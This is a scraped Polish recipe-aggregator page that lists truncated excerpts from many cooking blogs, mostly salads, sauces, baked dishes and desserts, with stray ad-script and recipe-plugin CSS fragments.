Podsumowanie: Mamy kolejne białko roślinne, które trafia do naszego TOP. Następnym razem koniecznie wypróbujemy waniliowe a smak naturalny z chęcią wykorzystamy do wytrawnych dań, czyli do zagęszczenia zup czy sosów. To białko można również bez problemu piec, więc wszelkie ciasta, ciasteczka i inne wypieki śmiało możecie wzbogacać o dodatkowe proteiny. Przepis na naszym Instagramie Ocena: 6 pand

Candy Pandas
Naleśniki Sisi 144

dodajemy jogurt, doprawiamy solą, czosnkiem oraz pieprzem i łączymy z obranym ogórkiem startym na tarce na dużych oczkach 10.            Sos nakładamy na naleśniki i posypujemy serem startym na tarce o dużych oczkach, zapiekamy 20 minut w 180 ° C 11.         Dekorujemy posiekanym szczypiorkiem

Kulinarna Chwila
Wegańskie flaczki sojowe – przepis i film 132

słodkiej w proszku 2 łyżeczki cukru trzcinowego 0,5 łyżeczki pieprzu 2 łyżki przyprawy do flaków – użyłam tej mieszanki 1 łyżka majeranku 2 łyżki octu jabłkowego 2 łyżki sosu sojowego Jak zrobić wegańskie flaczki sojowe: Zaczynamy od obrania i posiekania w kostkę cebuli. Najpierw rozgrzewamy olej i na nim szklimy cebulę. Następnie dodajemy ok 2,5 litra wody, liść

Dorota Smakuje
SZPINAK ZE ŚMIETANĄ: szybki przepis 199

cały czas mieszając zasmażyć (nie rumienić); zasmażkę rozprowadzić śmietanką, zagotować mieszając. Jeśli jest bardzo gęsta, dodać wywar ze szpinaku; czosnek rozetrzeć z odrobiną soli. Krok 3. Do gorącego sosu śmietanowego włożyć szpinak, dodać czosnek, wymieszać razem i zagotować. Doprawić do smaku solą i odrobiną cukru - chwilę poddusić. Gotowy szpinak ze śmietaną podawać jako jarzynkę do mięsa , z sadzonymi jajkami

Moja Książka Kucharska
Boczniaki z młodą kapustą w pomidrodach 167

tacka 1/4 głów kapusty 1 cebula 2-3 ząbki czosnku 3 pomidory  sparzone obrane ze skórki lub puszka krojonych olej so podsmażenia sól i pieprz 1-2 łyżki sosu tamari lub sojowego oregano 2 łyżki octu jabłkowego Boczniaki posiekać w paski i usmażyć z cebulą i czosnkiem na niewielkiej ilości oleju. Kapustę poszatkować  drobno i obgotować chwilę

AZgotuj!
sałatka z melonem i boczkiem 180

zrumienienia. Przekładam na papierowy ręcznik aby odsączyć nadmiar tłuszczu i odstawiam do wystygnięcia. Rukolę i bazylię układam na talerzu, dodaję kulki wycięte z melona i kawałki boczku. Składniki sosu mieszam dokładnie, gotowym - dekoruję sałatkę tuż przed podaniem

babka w formie
Makaron z pesto z zielonego groszku 144

połowę wody spod makaronu – dokładnie mieszamy aby makaron dokładnie pokrył się pesto. Jeśli wszystko jest dalej zbyt zwarte, dolewamy resztę wody i mieszamy – pesto ma utworzyć pyszny sos, który oblepi makaron. Próbujemy i jeśli zachodzi potrzeba, doprawiamy do smaku solą i pieprzem.   Tak przygotowane danie od razu podajemy. Na wierzch ścieramy jeszcze odrobię parmezanu.   Powrót

Smaczna Strona
Domowe zapiekanki XXL 239

żeby kupić zapiekanki XXL. Każdy lubi te długie pyszne bułki, szczególnie pamiętamy smaki jak za dawnych lat. Najlepsze zapiekanki są jednak te domowe z dużą ilością składników, sera i sosami :) Czytaj więcej

Ana Mari's world
Fit kurczak z grilla z kolendrą i miętą 128

moich pomysłach na grillowane dania. W pierwszej kolejności zapraszam na pysznego, soczystego i lekkiego fit kurczaka z grilla z kolendrą i miętą . Wyfiletowane udka z kurczaka w aromatycznym ziołowym sosie z pewnością będą królem każdej imprezy przy grillu. Gorąco polecam! Zapraszam po więcej przepisów na potrawy z grilla . Fit kurczak z grilla z kolendrą i miętą Składniki na 2 porcje

Codzienne Gotowanie
Domowe zapiekanki XXL 239

żeby kupić zapiekanki XXL. Każdy lubi te długie pyszne bułki, szczególnie pamiętamy smaki jak za dawnych lat. Najlepsze zapiekanki są jednak te domowe z dużą ilością składników, sera i sosami :) Czytaj więcej

Ana Mari's world
Dżem truskawkowy z kwiatem czarnego bzu 201

zdaniem trzeba dodać do nich odrobinę pektyny, aby dżem miał odpowiednią konsystencję. Osobiście lubię, kiedy dżem daje się rozsmarować na przykład na pieczywie czy naleśnikach, a nie rozlewa jak sos. Nie trzeba się bać pektyn, ponieważ jest to naturalny produkt pozyskiwany z owoców, warzyw i nasion, jest źródłem błonnika. 🍏 Pektyna jabłkowa To najpopularniejsza pektyna używana do przetworów domowych, można kupić

SprawdzonaKuchnia.pl
Warzywa grillowane z kurczakiem 139

ziołami prowansalskimi, odstawić na około 10 minut. Grillować przez 2 - 3 minuty z każdej strony według swoich upodobań. Osobiście wolę, gdy warzywa są delikatnie chrupiące. Podawać z ulubionym sosem i ryżem. Zobacz również:   grillowany mini kebab z cukinią

Kuchcik gotuje
Surówka z marchewki, ananasa i rodzynek... 144

minut. Dobrze odcedź. Pokrój ananasa i przygotuj 1 łyżkę soku. Wymieszaj ocet, miód (syrop klonowy), sól i sok ananasowy. W sporej misce wymieszaj marchewkę, ananasa, rodzynki i sos. Zostaw w lodówce na co najmniej godzinę przed jedzeniem. DODATKOWO: jeśli użyjesz syropu klonowego sałatka będzie wegańska i paleo; sałatkę można jeść od razu, ale będzie ona lepsza po schłodzeniu i wymieszaniu

Lejdi of the house
Sałatka z roszponką i twarogiem 140

miski. 2. Twaróg pokrój w kostkę, pomidorki na pół, a orzechy posiekaj. 3. Przygotowane składniki dodaj do roszponki i wymieszaj. 4. Oliwę dopraw czubyrcą i solą, tak przygotowanym sosem polej sałatkę

Z notatnika dietetyka
Zraziki Simby 144

Zraziki Simby Roladki wieprzowe w sosie musztardowym, łatwy szybki sposób na obiad. Składniki: ·        ½ kg schabu ·        4 łyżki musztardy sarepskiej ·        1 kg pieczarek ·        cebula ·        Sól

Kulinarna Chwila
Krokiety z pieczarkami 131

Krokiety z pieczarkami przygotujesz przez cały rok. To prosty i pyszny przepis na obiad wege lub kolację. Krokiety możesz podać z sosem pomidorowym lub z dodatkiem kiszonej kapusty na talerzu. Krokiety z pieczarki możesz przygotować także w nieco innej wersji, bez panierowania w jajku i bułce, czyli lżejszą wersję krokietów. Krokiety z pieczarkami SKŁADNIKI NA CIASTO: 2 średnie jajka

Zasmakuj Kuchni
Kurczak caprese 138

równie proste i smaczne danie obiadowe. Na wierzch grillowanej, soczystej piersi układamy warstwy znane z sałatki i w efekcie mamy słodkie od pieczenia pomidory, ciągnący ser i pyszny balsamiczny sos. Idealna połączenie i wyśmienity obiad do podania. Składniki (na 4 porcje): 2 duże filety z kurczaka kulka mozzarelli 2 dojrzałe pomidory około łyżki świeżych, posiekanych listków bazylii około

Smaczna Strona
Sałatka z rukoli, truskawek i pomarańczowego pomidora 168

umyć i obrać z szypułek, pokroić w ćwiartki. Pomidora pokroić w dowolne kawałki. Słonecznik uprażyć na suchej patelni. Składniki na dressing dobrze wymieszać. Rukolę wymieszać z resztą składników, polać sosem  i lekko wymieszać

talerz przyjemności
Sałatka z kalafiorem i granatem 185

stanowi wspaniały miks słodkich, pestkowych owoców w mięciutkim, kremowym warzywem. Całość uzupełnia chrupiąca, orzechowa, lekko pikantna w smaku rukola. Sałatka z kalafiorem i granatem nie wymaga żadnego dresingu, czy sosu. Sok z granatu świetnie łączy się z dobrze przyprawionym kalafiorem, soczystą papryką i rukolą, doskonale obywając się bez jakichkolwiek dodatków. Spróbuj inne nasze przepisy na dania z granatem: sałatkę

Niedzielny kucharz
Sałatka grecka z warzywnym makaronem 213

smakuje z makaronem soba, czyli makaronem gryczanym. Sałatka grecka to samograj: jedyne co trzeba zrobić to pokroić i wymieszać składniki. Jeden jest tylko haczyk – dresing. Nie zapomnij dodać do sosu suszonego oregano, bo bez niego danie utraci duszę i tożsamość! Przepis inspirowany Delish.com Spróbuj naszych przepisów na makarony warzywne – tu znajdziesz 5 niecodziennych dań Składniki: 250 g warzywnego makaronu

Niedzielny kucharz
Grillowana papryka z kaparami 153

czosnek wyciśnięty przez praskę, bazylię, oregano i posiekaną natkę pietruszki, oliwę oraz ocet balsamiczny. Doprawić świeżo mielonym czarnym pieprzem. Upieczoną paprykę pokroić w paski, ułożyć na talerzu i polać sosem z kaparami. Można przybrać natką pietruszki i podawać. Smacznego

Codzienne Gotowanie
Bazyliowe penne z grilowaną piersią kurczaka. Pełnia włoskiego smaku z PONTI. 154

Danie aromatyczne, pełne włoskich nut... Nie ma się co dziwić - opisy produktów tej marki, na platformach gdzie można je zamówić wszystkie są w podobnym tonie:  ...oryginalny włoski sos na bazie bazylii, oliwy z oliwek, orzeszków pinii oraz serów Pecorino i Grana Padano.  Tradycyjna receptura, która zaskakuje świeżością aromatycznej bazylii i orzechowym delikatnym smakiem potwierdza autentyczność i wybitną jakość

Kuchnia po mojemu
Najlepsza sałatka ziemniaczana do grilla 137

Najlepsza sałatka ziemniaczana do grilla z młodych ziemniaków i jajek z sosem czosnkowym jest smaczna, tania i szybka do zrobienia. Jest to przepis na bazie sałatki żydowskiej, jednak dzięki wzbogaceniu jej o czosnek, koper i szczypior jest bardziej wyrazista w smaku. W połączeniu z karkówką czy kiełbasą z grilla i ogórkiem małosolnym smakuje wyśmienicie. Oczywiście, będzie też świetnie pasować

e-PrzepisyKulinarne
Chardonnay, Morning Fog, Wente 151

mango z wyraźnie zarysowanymi aromatami wanilii, masła, skórki chlebowej oraz jogurtowymi. Wino o średniej kwasowości, kremowej, pełnej budowie i długim finiszu. Jeden z moich ulubieńców. Foodpairing: mięsko: królik w sosie winno-śmietanowym wege: pasztecik z białych warzyw korzeniowych z masłem i gałką muszkatołową

Kate's Kitchen
Coleslaw z młodej kapusty z dymką i pysznym sosem 166

lubi chrupać temu posmakuje surówka z młodej kapusty. Z oliwą z oliwek, sokiem z cytryny, miodem, dymką, rodzynkami i pieprzem. 1/4 główki młodej kapusty Sos: oliwa z oliwek 1 łyżeczka miodu 1 łyżka soku z cytryny rodzynki dymka   sól i pieprz do smaku  Kapustę szatkujemy drobno, dodajemy resztę składników i mieszamy

AZgotuj!
Makaron ze szparagami i suszonymi pomidorami 108

powoli kończy, więc trzeba je jeść szybko póki jeszcze są. Mam dziś dla Was przepis na bardzo prosty i szybki makaron ze szparagami i suszonymi pomidorami, z pietruszkowo-cytrynowym sosem z oliwą, posypany parmezanem. Obiad w 30 minut maksymalnie. Nie ma wymówek. Makaron ze szparagami i suszonymi pomidorami 4 porcje Składniki: 1 pęczek szparagów 1 łyżka oliwy 400 g makaronu

Cooking for Emily
Weekend za smakiem i stylem – APPETITA 192

chwili były gotowe. Na koniec niespodzianka deserowa, słodka, chrupiąca, mocno owocowa. Każdy mógł wg własnych smaków je przygotować i tak jak mu wyobraźnia pozwoliła  na talerzach zaprezentować. Sos na cukrze trzcinowym karmelizowanym z octem balsamicznym przygotowany, dodał smaku wyjątkowego, bardzo oryginalnego. Pani Ewa jeszcze sałatkę zero waste przygotowała, do których niewykorzystanych składników dodała. To była kompozycja smakowa, warzywno

Moniki Smakołyki
Domowe Gołąbki z Ryżem i Mięsem Mielonym – Pieczone w Piekarniku 129

układamy ciasno w naczyniu żaroodpornym. Następnie zalewamy wszystko bulionem, przykrywamy pokrywką i wstawiamy do piekarnika. Pieczemy w 180 stopniach przez godzinę. Następnie wyjmujemy gołąbki z piekarnika i zalewamy ulubionym sosem (pomidorowym, pieczarkowym lub innym) i wstawiamy z powrotem do piekarnika. Zapiekamy do miękkości. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Domowe Gołąbki z Ryżem i Mięsem Mielonym – Pieczone w Piekarniku pochodzi

Przepiski.pl
Kapuśniak z młodej kapusty z boczkiem i pomidorami 144

pomidorów bez skórki (np. malinowych), 400 ml przecieru lub 90 g koncentratu pomidorowego. Do podania: pieczywo, kleks gęstej śmietany.     (adsbygoogle = window.adsbygoogle || []).push({}); Smaczne przekąski… Jajka w sosie czosnkowym Domowe nuggetsy Paluszki serowe z ciasta francuskiego Przekąska z jajkiem Sałatka brokułowa z fetą i fasolą

Kulinarny S.O.S.
Omlet a’la pizza Margherita 148

pizza Margherita to dopiero jest HIT! To taka niby pizza, niby chleb w jajku. Na przyrumienioną ciabattę, wylewa się rozmącone jajka. Kiedy jajka się zetną, wykłada się sos pomidorowy i mozzarellę, a przed podaniem dekoruje się całość listkami bazylii. Tym pysznym omletem pojedzą do syta 4 osoby. To super opcja na śniadanie lub kolację. Polecam. 2 pomidory 1 ząbek czosnku

Smaki Na Talerzu
sałatka z truskawkami i mozzarellą 186

szczypta soli świeżo zmielony pieprz wykonanie: Rukolę i bazylię układam na talerzu, dodaję kulki mozzarelli i przekrojone na pół truskawki. Ziarna słonecznika podgrzewam na suchej patelni do zrumienienia. Składniki sosu mieszam dokładnie, gotowym - dekoruję sałatkę. Całość posypuję prażonym słonecznikiem

babka w formie
Domowe burgery 227

Składniki: 4 bułki do burgerów 250 g mięsa mielonego garść oliwek, u mnie kalamata 1 łyżeczka musztardy francuskiej 1/2 cebuli 1 jajko jarzynka, czubryca czerwona, słodka papryka 1 łyżeczka sosu … Czytaj dalej Domowe burgery

czarrna od kuchni
Szybka zapiekanka 233

przygotowania potrzebujemy: Spód Mięso wp/woł- 400g Cebula- 57g Marchew- 25g Koncentrat- 15g Sos worceshire- 15g Czosnek-2g Gram masala- 2g sól i piperz Góra Kalafior- 450g Masło- 15g Żółtka- x2 Ser cheddar- 70g Sól i pieprz Mięso mielimy i dodajemy na patelnię. Smażymy do zmiany koloru i dodajemy resztę składników- cebulę i marchew kroimy według własnych preferencji. Dusimy

serzmiesem
Domowe chipsy z piekarnika 272

ochota na „coś do pochrupania”, idealne na spotkania z przyjaciółmi lub rodziną. Takie chipsy można przygotować z dowolną mieszanką ziół. Dodatkowo ja podaję je w towarzystwie domowego sosu czosnkowego Spróbujcie, polecam Wam ten prosty przepis na domowe chipsy. Uwaga! My wolimy bardziej chrupiące i mocniej przypieczone domowe chipsy. Wy możecie je mniej przypiec. Składniki: 3 średnie ziemniaki

Słodkie okruszki
Chlebki naan z grillowanymi warzywami i tofu 122

grillowej patelni albo nadziać na patyczki na przemian i upiec na grillu. Podawać z chlebkami naan, posypane ziołami (pietruszka, kolendra). Można dodatkowo skropić je sokiem z limonki, polać sosem jogurtowo-czosnkowym - wg uznania. Smacznego

Obiad gotowy
Sałata z ogórkiem i jogurtem 233

lekko „odchudzonej” wersji, bo z dodatkiem naturalnego jogurtu zamiast śmietany. Sałata z zielonym ogórkiem , szczypiorkiem i jogurtem najlepiej smakuje nam jako dodatek do pulpecików w pomidorowym sosie lub innych mięs. Choć ja czasem jem ją w ramach lżejszej kolacji Jej wykonanie jest bardzo proste. Polecam. Składniki: 3-4 garście liści sałaty (około 1 mniejszej główki sałaty) 2 łyżki

Słodkie okruszki
Tacos 145

najlepiej wołowego) 2 łyżki oleju  3 łyżeczki przecieru pomidorowego  1 papryczka chili  1 ząbek czosnku  sól, pieprz  sałata kukurydza i/lub groszek  pomidory  sos czosnkowy (zmieszany majonez z jogurtem naturalnym i startym czosnkiem) starty żółty ser  Przygotowanie: Mięso podsmażamy na oleju, dodajemy czosnek i chwilę razem smażymy. Dodajemy przecier pomidorowy, chili i doprawiamy

bistro mama
Pulpety zapiekane z warzywami 232

Składniki: 250 g mięsa mielonego garść oliwek, u mnie kalamata 1 łyżeczka musztardy francuskiej 1/2 cebuli 1 jajko jarzynka, czubryca czerwona, słodka papryka 1 łyżeczka sosu chili 1 łyżka maggi … Czytaj dalej Pulpety zapiekane z warzywami

czarrna od kuchni
Bananowe placuszki z semoliną i samopszą 139

Miałam końcówki samopszy i semoliny i trzeba było je wykorzystać koniecznie i dzięki temu powstały te przepyszne placki bananowe. Są puszyste i delikatne a podane z sosem czekoladowym i borówkami smakują obłędnie. Czy będziecie je jeść na śniadanie czy na deser? nie ma to żadnego znaczenia, znikną szybko. Placuszki bananowe. CZYTAJ DALEJ

Moje Małe Czarowanie
Fuczki - placki z kiszoną kapustą 122

kształt. Fuczki smażyłem po 3-4 minuty z każdej strony, aż były rumiane. Wyjąłem, odłożyłem na ręcznik papierowy, aby zgubić nadmiar tłuszczu. Podałem z czerwonym barszczem. Można ze śmietaną, sosem czosnkowym

R'n'G Kitchen
Pyszna Domowa Pizza z Mozzarellą 110

minut, przykrywając je ściereczką. Blaszki na pizzę smarujemy delikatnie oliwą, na środek wykładamy kulkę ciasta. Delikatnie spłaszczamy, po czym rozprowadzamy palcami po całej powierzchni blaszki. Smarujemy rozprowadzone ciasto sosem pomidorowym, następnie nakładamy ser mozzarella i ulubione dodatki. Odczekać ok. 10 minut, aż ciasto podrośnie. Piec na środkowym poziomie piekarnika, grzanie góra – dół w 250 stopniach przez 10 minut. (adsbygoogle

Przepiski.pl
Modne grillowanie w roku 2020? Tylko z marką Koler! 130

posiadają pięć palników – cztery główne i jeden boczny – co zapewnia maksymalne możliwości wykorzystania dostępnej przestrzeni. Kiedy na głównych palnikach przygotowywane jest mięso, bocznego można użyć do ogrzania sosu lub podtrzymania temperatury wcześniej przyrządzonych potraw. Każdy palnik posiada oddzielną regulację temperatury, dzięki której nawet różne rodzaje mięsa zostaną przygotowane w tym samym czasie, bez obawy o ich zwęglenie

codojedzenia
Indycza Idylla 165

Indycza Idylla Potrawka z indyka w sosie musztardowym, idealnie do tego pasują młode ziemniaczki. Składniki: ·        1 kg fileta z indyka ·        Cebula ·        ½ kg pieczarek ·        4 ogórki kiszone ·        2 łyżki musztardy sarepskiej

Kulinarna Chwila
Kurczak cury z makaronem i szparagami 139

dodaję szparagi bez główek i na wolnym ogniu duszę około 10 minut. Na końcu dodaję główki szparagów, pomidorki koktajlowe pokrojone na pół i jeszcze chwilę duszę. Makaron gotuję aldente. Sos doprawiam według uznania. Dodaję makaron, pieprz czerwony, natkę pietruszki, i rukolę

wesoła kuchnia
Czym różni się nowy piekarnik Bosch od starego 116

Czym różni się nowy piekarnik Bosch od starego Kilogram piersi z indyka, polanych sosem z musztardy i miodu wymieszanych w stosunku 1:1 daje bardzo solidny obiad. Jedyne co musisz zrobić to połączyć ze sobą te trzy składniki, umieścić je w żaroodpornym naczyniu i wsadzić do rozgrzanego do 200°C piekarnika. Co potrafi nowoczesny piekarnik? Bosch prezentuje … Czytaj dalej

Pieprzyć z Fantazją
SAŁATKA Z KALAFIORA 167

Kalafior włożyć do wrzącej, osolonej i ocukrzonej wody. Gotować ok. 30-40 minut, odcedzić i podzielić na niezbyt drobne różyczki. Ułożyć w salaterce, dodać pokrojoną rzodkiewkę i szczypiorek, oblać sosem majonezowo-śmietanowym, doprawić solą i pieprzem. Sałatkę podawać jako dodatek do obiadu lub samodzielne danie. Smacznego :) Sałatka z kalafiora

Moja Książka Kucharska
Fasolka szparagowa orientalnie 152

słodko - pikantna, po prostu fantastyczna. Ostatnio jemy ją przy każdej okazji. Gorąco polecam! Fasolka szparagowa orientalnie Składniki: 500g zielonej fasolki szparagowej 0,5 czerwonej cebuli na dressing: 2 łyżka sosu sojowego 1 oleju sezamowego 2 łyżki startego na tarce imbiru 2 ząbki czosnku wyciśniętego przez praskę 1 papryczka chilli pokrojona w drobną kosteczkę 2 łyżki sezamu uprażonego na suchej patelni

Codzienne Gotowanie
Pancakes cereal czyli płatki śniadanie z mini placuszków 146

mają jedną wadę - są czasochłonne w smażeniu. Jeżeli lubicie zaskakiwać domowników nietypowymi dania to musicie przygotować poniższe mini placuszki. Świetnie smakują podane ze świeżymi owocami, polane gęstym jogurtem bądź sosem owocowym.  Składniki: 2 szklanki mąki pszennej (300 g) 2 i 1/4 szklanki mleka 2 jajka (rozmiar L) 2 płaskie łyżeczki proszku do pieczenia kilka kropelek aromatu waniliowego 1 łyżka

Ugotować
Pizza z kalafiora 170

super pyszna i prosta do zrobienia pizza na spodzie z kalafiora i tartego parmezanu. Bez mąki, bez drożdży, czy proszku do pieczenia. Warto ją upiec.. polecam przepis! - idealny sos pomidorowy - mniej kalorii, niż w klasycznej pizzy - super alternatywa dla osób na specjalnej diecie

AniaGotuje.pl
Keto kotlety z kalafiora (Paleo, LowCarb) 315

kotlety nie będą dobrze wysmażone od spodu, bo mają lekką tendencję do rozpadania się. Aby tego uniknąć można przed smażeniem opanierować kotlety zmielonymi skórkami wieprzowymi. Podawać ciepłe w towarzystwie sosu, np. pieczarkowego. Pozostałe informacje Przybliżona wartość odżywcza 1 porcji: Wartość energetyczna: 312 kcal Tłuszcz: 23,6 g Węglowodany: 9,1 g Błonnik 3,4 g Białko 13,4 g Artykuł

Modern Cave Girl
Krewetki ziołowo – miodowe 116

prostu rozgrzewamy patelnie i na nią wykładamy krewetki wyjęte z marynaty, smażymy krótko, aby się zbytnio nie wysuszyły pod koniec smażenie wlewamy pozostałą marynatę z której robi się przepyszny sos. Gotowe krewetki posypujemy pozostałymi ziołami. Smacznego! Artykuł Krewetki ziołowo – miodowe pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Mini serniczki 123

minut z opcją górnej i dolnej grzałki. Gdyby serniczki zaczęły brązowieć z wierzchu, przykryjcie je folią aluminiową. W wersji z wkładką: proponuje podać mini serniczki polane sosem owocowym to bardzo proste, wystarczy, że zmiksujecie 1 szklankę owoców + 2 łyżki cukru w blenderze z odrobiną aromatu waniliowego lub migdałowego i gotowe. Smacznego! Artykuł Mini serniczki pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Placuszki z cukinii 115

niż placki ziemniaczane i o wiele bardziej aromatyczne, a to dzięki dodatkowi sera koziego, który ma tutaj wielkie znaczenie. Placuszki fantastycznie smakują z jogurtem i świeżymi ziołami, surówkami lub sosem kurkowym. Dziś podałam je z dipem jogurtowo-miętowym. Zapraszam częstujecie się, jest to bardzo prosty przepis, a przygotowanie ich z pewnością nie sprawi Wam trudności. Smacznego! Placuszki z cukinii [feast

SprawdzonaKuchnia.pl
Quesadille ze szpinakiem 112

minutach w piekarniku docisnąć placki np. łyżką cedzakową tak aby były ze sobą sklejone. Wyjmujemy gorące quesadille, kroimy na 8 części, podajemy gorące z salsą, śmietaną lub innym ulubionym sosem. Smacznego! Notes Quesadille można również przygotować na patelni grillowej lub zwykłej. Pamiętajcie aby przewrócić quesadille po 3 minutach na drugą stronę.   Artykuł Quesadille ze szpinakiem pochodzi z serwisu Sprawdzona

SprawdzonaKuchnia.pl
Tom Khaa Gun-zupa kokosowa z krewetkami 119

kokosowego z puszki 250 ml wody 1 mała papryczka chili 2 plasterki galaganu lub imbiru 1 sztuka trawy cytrynowej 2 sztuki liści kaffiru 1 łyżka cukru trzcinowego 1 łyżka sosu rybnego 3 łyżki soku z cytryny 150 g grzybów pochwiaków lub pieczarki makaron ryżowy na 4 porcje świeża kolendra Instructions Do rondla wlać mleczko kokosowe, doprowadzić do wrzenia, dodać trawę

SprawdzonaKuchnia.pl
Makaron ze szparagami i szpinakiem 107

Servings 5 Author Anna Ingredients 250 g zielonych szparagów 350 g szpinaku 280 g makaronu ryżowego po ugotowaniu 4 małe cebulki dymki 1 duży ząbek czosnku 250 g krewetek sosu sojowy do smaku 1 mała papryczka chilli lub suszone płatki do smaku 1 łyżeczka startego świeżego imbiru 1 łyżeczka ziaren sezamu 2 łyżki oleju arachidowego lub słonecznikowego 1 łyżka masła

SprawdzonaKuchnia.pl
Pstrąg z piekarnika 120

dorady można użyć innej białej ryby, ale zachęcam do spróbowania dorady jeśli tylko uda się Wam ją kupić. Zapraszam! Dorada z grilla Dorada z piekarnika w pomarańczach Ryba w sosie chraimeh Tacos z rybą 📖 Przepis Print Pstrąg z piekarnika .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Pyszna soczysta ryba z piekarnika Course Danie główne Cuisine Polska Keyword

SprawdzonaKuchnia.pl
Krem z kurek 116

Czas czytania: 2 min Krem z kurek jest bardzo oryginalną zupą, choć raczej mało znaną. Kurki zazwyczaj wykorzystujemy do przygotowania sosu kurkowego albo zamykamy je w słoikach w zalewie octowej. Jeśli nie mieliście jeszcze okazji spróbować kremu z kurek, to koniecznie musicie to nadrobić. Krem jest bardzo prosty do przygotowania i szybki, zachęcam was do spróbowania, jest naprawdę wyjątkowy. Print

SprawdzonaKuchnia.pl
Kotleciki wegetariańskie, ryżowo – cukiniowe 108

Ciasto powinno się ładnie sklejać. Z masy formować nieduże kotleciki, obtoczyć je w tartej bułce. Smażyć na oleju z dwóch stron na wolnym ogniu, na złoty kolor. Podawać z sosem majonezowo -ketchupowym. Artykuł Kotleciki wegetariańskie, ryżowo – cukiniowe pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Tarta czekoladowa z malinami 128

tarty tworzy się delikatna spieczona skorupka, a w środku pozostaje miękkie czekoladowe nadzienie. Konsystencja jest bardzo podobna do brownie . Tarta jest pyszna, spróbujcie podać ją z gałką lodów lub sosem z malin. Dopiekając tartę, uważajcie, aby jej nie wysuszyć, ja piekłam 25 minut bez termoobiegu, wnętrze powinno pozostać wilgotne tak jak jest to w przypadku ciasta brownie, Smacznego! Print Tarta

SprawdzonaKuchnia.pl
Figi zapiekane z kozim serem 122

jest ten z Modeny. Można użyć również zredukowanego czerwonego wina, a jak to przygotować? To proste wystarczy wlać do małego rondelka kubek wina i podgrzewać do chwili zredukowania płynu, sos powinien być lepki i gęsty. Koniecznie wypróbujcie! Print Figi zapiekane z kozim serem .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill: #343434; } Pyszne figi z kozim serem, rewelacja Course

SprawdzonaKuchnia.pl
Szarlotka z wiórkami kokosowymi 118

nadzienie jabłkowe. Na tarce o grubych oczkach zetrzeć resztę ciasta. Ciasto posypać startym ciastem i wiórkami kokosowymi. Wstawić do piekarnika na 25 minut. Przed podaniem można polać sosem karmelowym. Smacznego ! [one-half-first] [/one-half-first] [one-half] [/one-half] Artykuł Szarlotka z wiórkami kokosowymi pochodzi z serwisu Sprawdzona Kuchnia

SprawdzonaKuchnia.pl
Bagietki żytnio – piwne 111

wyrobi za was ciasto i podgrzeje ciasto tworząc odpowiednie warunki do wyrastania. Bagietka smakuje wspaniale z dodatkami wytrawnymi i słodkimi . Moi mięsożerni znajomi uwielbiają kanapki przygotowane z pieczoną wołowina, sosem musztardowym i domowymi ogórkami kiszonymi, oczywiście ze szklaneczką piwa . To naprawdę super smaczne i bardzo łatwe pieczywo, koniecznie spróbujcie. Print Bagietki .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill

SprawdzonaKuchnia.pl
Pasztet z orzechów i cieciorki 114

można użyć do tego przepisu dowolnych, ulubionych orzechów, a najlepiej ich mieszanki. Pasztet jest wilgotny, zwarty i pięknie się kroi. Świetnie nadaje się na kanapki, podany z ostrym sosem chrzanowym smakuje wprost wspaniale. Zachęcam do spróbowania również z dodatkiem domowej musztardy z dodatkiem daktyli! Przygotowanie masy nie sprawi wam kłopotu, wystarczy, że połączycie wszystkie składniki i upieczecie pyszny pasztecik

SprawdzonaKuchnia.pl
Chrupiąca ciecierzyca 106

zalewy. Następnie osuszyć ręcznikiem papierowym. W małej miseczce umieścić wszystkie przyprawy, olej i miód, wymieszać - miód powinien być płynny. Ciecierzycę umieścić w misce, wlać do niej przygotowany sos, dokładnie wymieszać tak aby ziarenka pokryły się marynatą. Piekarnik nagrzać do temperatury 180 st C. Na blachę położyć papier do pieczenia. Ciecierzycę wyjąć z marynaty, rozłożyć na papierze, wstawić

SprawdzonaKuchnia.pl
Naan-chlebek indyjski 129

Naan wypiekane są w piecu tandoor, trudno o taki piec w domu, ale możemy zrobić to w piekarniku lub na suchej patelni. Chlebek jest idealny do różnego rodzaju dipów, sosów, ryb, szczególnie polecam z soczewicą w mleku kokosowym. Chlebek jak już wspomniałam, można wzbogacić, dodając do niego czosnek, cebulę, czarnuszkę, sezam i zioła. Zaraz po upieczeniu należy posmarować masłem

SprawdzonaKuchnia.pl
Karmelizowane marchewki 115

pietruszkę pokrojoną w plastry, a w sezonie wiosennym, szparagi. Wszystkie te warzywa smakują wybornie, sezon grillowy rozpoczęty, więc karmelizowane warzywa można przygotować również na grillu ogrodowym! Do warzyw podaję sos przygotowany na bazie gęstego jogurtu naturalnego z dodatkiem siekanych ziół, cytryny i czosnku warzywa z nim smakują obłędnie! Print Karmelizowane marchewki .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill

SprawdzonaKuchnia.pl
Mleczko kokosowe-domowe 122

najwyższej jakości mleczka kokosowego. Można przygotować w niej nie tylko soki, ale również mleko roślinne! Mleczko kokosowe jak dla mnie to niezbędny produkt w kuchni, używam go do kawy, sosów, naleśników, kremów. Jest doskonałą alternatywą dla osób uczulonych na mleko krowie. Mleczko kokosowe zawiera sporo potasu, fosforu, cynku, kwasu foliowego, błonnika, żelaza, witaminy B i C i wiele innych cennych

SprawdzonaKuchnia.pl
Gravlax II 121

bożonarodzeniowych potraw. Goście i domownicy lubiący ryby będą zachwyceni. Gravlax II można podać z chlebem,  blinami , czy  ziemniakami w mundurkach. Uzupełnieniem do gravlaxu będą różnego rodzaju sosy na bazie śmietany i majonezu. Ryba świetnie smakuje z kaparam i, czy korniszonami, a cieniutkie płaty marynowanego łososia można wykorzystać do przygotowania terriny z twarożkiem. Polecam! Print Gravlax II .wprm-recipe

SprawdzonaKuchnia.pl
Kluski śląskie 131

jajko i dodatek mąki pszennej, nie jest to konieczne, ale moim zdaniem kluski są lepsze z tymi dodatkami. Podam również wersje wegańsko – bezglutenową. Kluski śląskie można podawać z sosem, pieczenią lub gulaszem. Kluski świetne smakują z masełkiem, parmezanem lub śmietaną, sposobów na ich podanie jest wiele. Smacznego! Print Kluski śląskie .wprm-recipe-rating .wprm-rating-star.wprm-rating-star-full svg * { fill

SprawdzonaKuchnia.pl
Gofry 130

